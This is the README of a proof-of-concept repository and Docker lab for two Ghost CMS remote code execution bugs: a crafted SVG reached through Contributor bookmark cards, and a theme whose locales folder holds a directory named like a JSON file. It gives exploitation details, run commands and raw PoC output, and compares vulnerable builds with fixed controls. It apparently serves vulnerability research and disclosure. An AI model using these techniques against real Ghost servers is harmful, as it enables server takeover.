Python PoC and Docker lab for two Ghost CMS RCEs: Contributor bookmark-card SVG rasterization (CVE-2026-105642) and admin theme-translation require() (CVE-2026-105677), with fixed controls.
Two independent authenticated RCE bugs in Ghost 6.x, exercised by one lab and one driver script.
CVE-2026-105642 (8.8 High): when a Ghost staff user builds a bookmark card, Ghost's admin oEmbed
service fetches the linked page and hands its og:image to the bundled sharp -> libvips -> librsvg
rasterization pipeline. A crafted SVG turns librsvg 2.62.90's nested-XInclude duplicate-entity
handling into a use-after-free that is exploitable into a calibrated ROP chain and execve - and
any staff user down to Contributor (the lowest staff role) can fire it by pointing a bookmark at
an attacker-controlled URL. CVE-2026-105677 (7.2 High): the theme translation loader behind the
private themeTranslation labs flag scans a theme's locales/ directory with an unfiltered
readdir and calls require() on <locale>.json entries; a theme whose locales/ contains a
DIRECTORY named like a translation file makes Node's require() directory resolution execute its
index.js, so an Administrator uploading a theme gets code execution on the server. Both were
disclosed 2026-10-05 with fixes; both sat 40 days with zero public PoC (freshness re-checked
2026-11-14, see Notes).
echo <marker> > /tmp/<marker> executed inside the Ghost container on the vulnerable build, with fixed-version and config-gated controls staying clean. The lab does not go further than marker execution; the primitive is arbitrary command execution as the container's node user.docker compose up -d starts five Ghost instances over one MySQL 8.0 plus an attacker HTTP
server and an SMTP sink (topology and per-image runtime identity: evidence/00-lab-topology.md).
First boot takes a couple of minutes; instances stay up across runs (the named volume keeps
accounts, and poc.py re-logins through Ghost's device-verification mail flow automatically).
| service | version | port | role |
|---|---|---|---|
| ghost-svg-vuln | 6.65.0 (digest-pinned) | 127.0.0.1:8085 | 105642 trigger |
| ghost-svg-fixed | 6.67.0 | 127.0.0.1:8086 | 105642 control |
| ghost-theme-vuln | 6.63.0 + themeTranslation labs flag | 127.0.0.1:8087 | 105677 trigger |
| ghost-theme-fixed | 6.64.0 + themeTranslation labs flag | 127.0.0.1:8088 | 105677 control |
| ghost-theme-noflag | 6.63.0, labs flag off | 127.0.0.1:8089 | 105677 gate control |
docker compose up -d # all six services; wait for boot
python3 poc.py --mode svg # CVE-2026-105642: Contributor -> bookmark SVG -> RCE + 6.67.0 control
python3 poc.py --mode theme # CVE-2026-105677: admin theme upload -> RCE + 6.64.0 and flag-gate controls
--mode svg|theme - which CVE to exercise (required).--lab-dir <dir> - directory holding docker-compose.yml (default: this repo checkout).--vuln-url/--control-url/--noflag-url - override the target base URLs (defaults to the 127.0.0.1 ports above).Between runs, the SVG payload is regenerated with a fresh random marker into the attacker web
root (attacker-www/evil.svg inside the compose project). If the admin login rate limiter
rejects logins after many runs (HTTP 429), clear Ghost's DB-backed brute table or recreate the
stack (Notes below).
CVE-2026-105642, trigger (raw, evidence/01-cve-2026-105642-run-raw.txt):
[1] establishing a genuine Contributor session on the vulnerable target
vuln runtime identity: {"node":"v22.23.3","sharp":"0.35.3","vips":"8.18.3","rsvg":"2.62.90","xml2":"2.15.3"}
contributor session established (existing account, login 201)
identity: [email protected] roles=['Contributor']
[3] planting attacker page + crafted SVG under the attacker web root
wrote <lab-dir>/attacker-www/evil.svg (24408 bytes, payload command: 'echo me96c8cfc07>/tmp/me96c8cfc07')
[4] trigger: Contributor requests the bookmark card for the attacker page
>> GET /ghost/api/admin/oembed/?url=http%3A%2F%2Fattacker%3A8790%2F&type=bookmark
vuln : <transport error: ... Remote end close ...>
[5] execution proof on the vulnerable target
docker cp ghost-svg-vuln:/tmp/me96c8cfc07 -> contents 'me96c8cfc07\n'
VULN RESULT: marker file present, contents == me96c8cfc07 -> attacker command executed
The RemoteDisconnected on the trigger request is the execve tearing down the Node process
mid-response; the container auto-restarts (marker persists, state running 0).
Control, same action against 6.67.0 (same run):
[6] control: identical trigger against the fixed version
control : HTTP 200 body[:200]=b'{"version":"1.0","type":"bookmark","url":"http://attacker:8790/",...
control marker present: False
RESULT cve-2026-105642 vuln marker_present=true container=running 0
RESULT cve-2026-105642 control http=200 marker_present=false container=running 0
CONFIRMED: Contributor -> bookmark-card SVG -> command execution on 6.65.0; 6.67.0 control clean
CVE-2026-105677, trigger (raw, evidence/02-cve-2026-105677-run-raw.txt):
[1] building the crafted theme zip
payload entry: poc-i18n/locales/m2da8dadafd.json/index.js (directory entry)
[2] vuln: owner session -> upload -> activate
upload -> HTTP 200 ...
activate-> HTTP 200 ...
marker /tmp/m2da8dadafd present: True (contents 'm2da8dadafd')
RESULT cve-2026-105677 vuln: activate-200 marker_present=true container=running 0
Controls, same theme zip against 6.64.0 (flag on) and 6.63.0 (flag off):
RESULT cve-2026-105677 fixed-control: activate-200 marker_present=false container=running 0
RESULT cve-2026-105677 noflag-control: activate-200 marker_present=false container=running 0
CONFIRMED: admin theme upload -> require() code execution on 6.63.0 (flag on); 6.64.0 fixed control and 6.63.0 flag-gate control both clean
Note the control detail: 6.64.0 still accepts and activates the theme zip - the fix is in the loader, not the upload path - but the crafted entry no longer executes.